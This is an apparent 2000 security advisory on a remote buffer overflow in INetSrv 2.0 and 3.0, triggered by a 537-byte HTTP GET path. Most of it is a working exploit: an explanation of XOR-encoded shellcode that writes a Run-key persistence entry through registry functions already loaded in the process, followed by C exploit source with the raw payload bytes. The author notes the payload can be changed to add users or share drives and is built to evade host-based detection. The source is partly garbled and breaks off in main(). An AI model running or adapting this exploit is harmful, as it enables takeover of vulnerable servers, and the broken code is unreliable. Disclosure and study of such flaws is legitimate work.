INetSrv 2.0 and 3.0 Buffer Overflow Condition 
Reported January 17, 2000 by Greg Hoagland

DESCRIPTION

According to Greg Hoagland, "In less than 1 minute...my automated testing software had already located a buffer overflow - a childlike and brainless overflow. It appeared that an http GET request with a 537 byte path would own EIP (in other words, allow me to control the remote processor).

The fact that the GET request causes an oveflow is far from noteworthy. I can tell just by the disassembly that there are many more overflows where this came from. (I actually tested several programs today, and all but one had remote buffer overflow bugs - I leave the others for future cannon fodder). What is worth talking about is the payload I designed for this exploit. So, the rest of the discussion is about the payload.

One of the most common things a payload does is open a remote shell. A number of months back I wrote a small intrusion prevention tool that rendered all of these overflows harmless - an NT kernel patch that prevents my server software from launching sub-processes. Gee, all of the "shell" based overflow attacks have been demoted to ankle-biters. Of course, those of you with experience immediately realize that a payload can do anything it wants - and as the virus underground has taught us - there are a million ways to torture a computer. Todays payload does not open a remote shell - rather, it shares all of your hard drives without a password - and does this without launching a single sub-process or even loading any new functions. We are going to attack the NT registry through functions already loaded into the process space.

Most processes have useful functions already loaded into address space. Using WDASM and VC++ I was able to find the memory location of the following functions:

Name: Jump Table: Actual (NTServer 4.0 SP3)
ADVAPI32.RegCloseKey \[43D004\] 77DB75A9
ADVAPI32.RegCreateKeyExA \[43D008\] 77DBA7F9
ADVAPI32.RegOpenKeyExA \[43D00C\] 77DB851A
ADVAPI32.RegQueryValueExA \[43D010\] 77DB8E19
ADVAPI32.RegSetValueExA \[43D000\] 77DBA979

Since we cannot be assured where the location of ADVAPI32.DLL will be mapped, we simply use the jump table itself, which will be loaded in the same location regardless. In order to prevent NULL characters, I XOR my data area with 0x80. The payload first decodes the data area, then calls the following functions in order to add a value to the windows RUN key:

RegOpenKeyEx();
RegSetValueEx();

In order to avoid NULL"s I used an XOR between registers, as you see in code:
mov eax, 77787748
mov edx, 77777777
xor eax, edx
push eax

followed later only by:
mov eax, 0x77659BAe
xor eax, edx
push eax

These values translate to addresses in the local area which require a NULL character, hence the XOR. The value in the example is merely "cmd.exe /c" with no parameters. You could easily alter this to add a user to the system, or share a drive. For "script kiddie" purposes you will get nothing here - you"ll need to alter the cmd.exe string and alter the size variable in the decode loop (shown here set to 0x46):

xor ecx, ecx
mov ecx, 0x46
LOOP_TOP:
dec eax
xor \[eax\], 0x80
dec ecx
jnz LOOP_TOP (75 F9)

Once this runs, check your registry and you"ll find the value in question. The value will be executed upon the next reboot. This is a very common way for network worms to operate, incidentally. The only snag when using an http request is that there are some characters that are filtered or special - so you must avoid these. This limits which machine instructions you can directly inject - however there are always wasy to get around such problems. In conclusion, I merely am trying to demonstrate that there are meny things a buffer overflow can do besides create a shell or download a file - and many forms of host based IDS will not notice this. Now clearly the RUN key is common place for security-savvy people to look, but it could have easily been something else more esoteric.

CODE FOLLOWS:

#include "windows.h"
#include "stdio.h"
#include "winsock.h"

#define TARGET_PORT 224
#define TARGET_IP "127.0.0.1"

char aSendBuffer\[\] =
"GET /AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" \
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" \
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" \
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" \
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" \
"AAAAAAAAAAABBBBAAAACCCCAAAAAAAAAAAAAAAAAAAAAAAAAAA" \
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" \
"AAAAAAAAAAAAAAAAAAAAAAAAAAADDDDAAAAEEEEAAAAAAAAAAA" \
//mov eax, 0x12ED21FF
//sub al, 0xFF
//rol eax, 0x018
//mov ebx, eax
"\xB8\xFF\x1F\xED\x12\x2C\xFF\xC1\xC0\x18\x8B\xD8" \
// xor ecx, ecx
// mov ecx, 0x46
//LOOP_TOP:
// dec eax
// xor \[eax\], 0x80
// dec ecx
// jnz LOOP_TOP (75 F9)
"\x33\xC9\xB1\x46\x48\x80\x30\x80\x49\x75\xF9" \

//push ebx
"\x53" \

//mov eax, 77787748
//mov edx, 77777777

"\xB8\x48\x77\x78\x77" \
"\xBA\x77\x77\x77\x77" \

//xor eax, edx
//push eax
"\x33\xC2\x50" \

//xor eax, eax
//push eax
"\x33\xC0\x50" \

// mov eax, 0x77659BAe
// xor eax, edx
// push eax
"\xB8\xAE\x9B\x65\x77\x33\xC2\x50"

//mov eax, F7777775
//xor eax, edx
//push eax
"\xB8\x75\x77\x77\xF7" \
"\x33\xC2\x50" \

//mov eax, 7734A77Bh
//xor eax, edx
//call \[eax\]
"\xB8\x7B\xA7\x34\x77" \
"\x33\xC2" \
"\xFF\x10" \

//mov edi, ebx
//mov eax, 0x77659A63
//xor eax, edx
//sub ebx, eax
//push ebx
//push eax
//push 1
//xor ecx, ecx
//push ecx
//push eax
//push \[edi\]
//mov eax, 0x7734A777
//xor eax, edx
//call \[eax\]
"\x8B\xFB" \
"\xBA\x77\x77\x77\x77" \
"\xB8\x63\x9A\x65\x77\x33\xC2" \
"\x2B\xD8\x53\x50" \
"\x6A\x01\x33\xC9\x51" \
"\xB8\x70\x9A\x65\x77" \
"\x33\xC2\x50" \
"\xFF\x37\xB8\x77\xA7\x34" \
"\x77\x33\xC2\xFF\x10" \

// halt or jump to somewhere harmless
"\xCC" \
"AAAAAAAAAAAAAAA" \

// nop (int 3) 92
// nop (int 3)
// jmp
"\x90\x90\xEB\x80\xEB\xD9\xF9\x77" \
/* registry key path "\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run" */
"\xDC\xD3\xCF\xC6\xD4\xD7\xC1\xD2\xC5\xDC\xCD\xE9\xE3\xF2" \
"\xEF\xF3\xEF\xE6\xF4\xDC\xD7\xE9\xEE\xE4\xEF\xF7\xF3\xDC\xC3" \
"\xF5\xF2\xF2\xE5\xEE\xF4\xD6\xE5\xF2\xF3\xE9\xEF\xEE\xDC" \
"\xD2\xF5\xEE\x80" \
/* value name "_UR_HAXORED_" */
"\xDF\xD5\xD2\xDF\xC8\xC1\xD8\xCF\xD2\xC5\xC4\xDF\x80" \
/* the command "cmd.exe /c" */
"\xE3\xED\xE4\xAE\xE5\xF8\xE5\xA0\xAF\xE3\x80\x80\x80\x80\x80";

int main(int argc, char* argv\[\])
\{
WSADATA wsaData;
SOCKET s;
SOCKADDR_IN sockaddr;

sockaddr.sin_family = AF_INET;
if(3

argc)
\{
int port = atoi(argv\[2\]);
sockaddr.sin_port = htons(port);
\}
else
\{
sockaddr.sin_port = htons(TARGET_PORT);
\}
if(2 <= argc)
\{
sockaddr.sin_addr.S_un.S_addr = inet_addr(argv\[2\]);
\}
else
\{
sockaddr.sin_addr.S_un.S_addr = inet_addr(TARGET_IP);
\}

try
\{
WSAStartup(MAKEWORD(2,0), &wsaData);
s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if(INVALID_SOCKET

The vendor has been informed of the issue however no fix was available at the time of this writing.

CREDITS
Discovered by Greg Hoagland